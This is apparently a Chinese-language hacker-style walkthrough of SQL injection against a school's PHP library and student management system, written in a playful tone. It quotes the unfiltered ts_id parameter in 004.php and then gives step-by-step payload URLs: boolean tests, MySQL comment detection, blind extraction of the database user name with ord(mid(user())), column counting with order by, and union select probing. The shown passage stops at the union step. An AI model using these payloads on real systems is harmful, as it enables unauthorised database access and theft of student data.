學校的一個外聘老師寫的程序,圖書+學生管理系統,文件名001.php,002.php,003.php......(B名起的)問題出在004.php第多少行我也忘了,
<td width="118" rowspan="4" align="center" valign="middle"><a href="004.php?ts_id=<?php echo $array[ts_id];?>"><img src="./images/<?php echo $array[‘ts_tp‘];?>" width="136" height="181"></a></td><td width="85">書名:</td>
注意這句<a href="004.php?ts_id=<?php echo $array[ts_id];?>">,ts_id沒有任何過濾,赤裸裸的等我們虐待,HOO~(雖然我知道數據庫的一切信息,但是這裡我還是要黑箱測試)
LET‘S GO~
http://localhost/zhd/004.php?ts_id=1 and 1=1 正常
http://localhost/zhd/004.php?ts_id=1 and 1=2 異常
白癡注入
判斷數據庫:
提交http://localhost/zhd/004.php?ts_id=1/*fenggou
正常返回,說明數據庫支持/*注釋,什麼數據庫支持/*呢?MYSQL!
讀取用戶名:
提交http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=114/*
正常返回,user()是MYSQL的內置函數,用來查看用戶,這裡是查看個用戶名的第一個字符,沒錯114是ACCSLL中的"r",我是root連接,所以語句為真(這招賤心教我滴)但是如果用戶名是rijnc的話我不是被騙了?所以在提交
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=111/* o
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=111/* o
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=116/* t
但是如果密碼是rootrijnc,那我無語…
判斷字段數:
提交http://localhost/zhd/004.php?ts_id=1 order by 10/*
失敗,說明字段數小於10,一直試到7語句成立,一共是7個字段了,對我們以後的聯合查詢帶來極大方便,有個小技巧,先5,在10,在15,依次一點點縮小范圍
聯合查詢:
知道了字段數直接提交http://localhost/zhd/004.php?ts_id=1 union select 1,2,3,4,5,6,7/*
正常返回,說明支持union,把語句改改,用and 1=2讓他顯示錯誤,嘿嘿~~~
提交http://localhost/zhd/004.php?ts_id=1 and 1=2 union select 1,2,3,4,5,6,7/*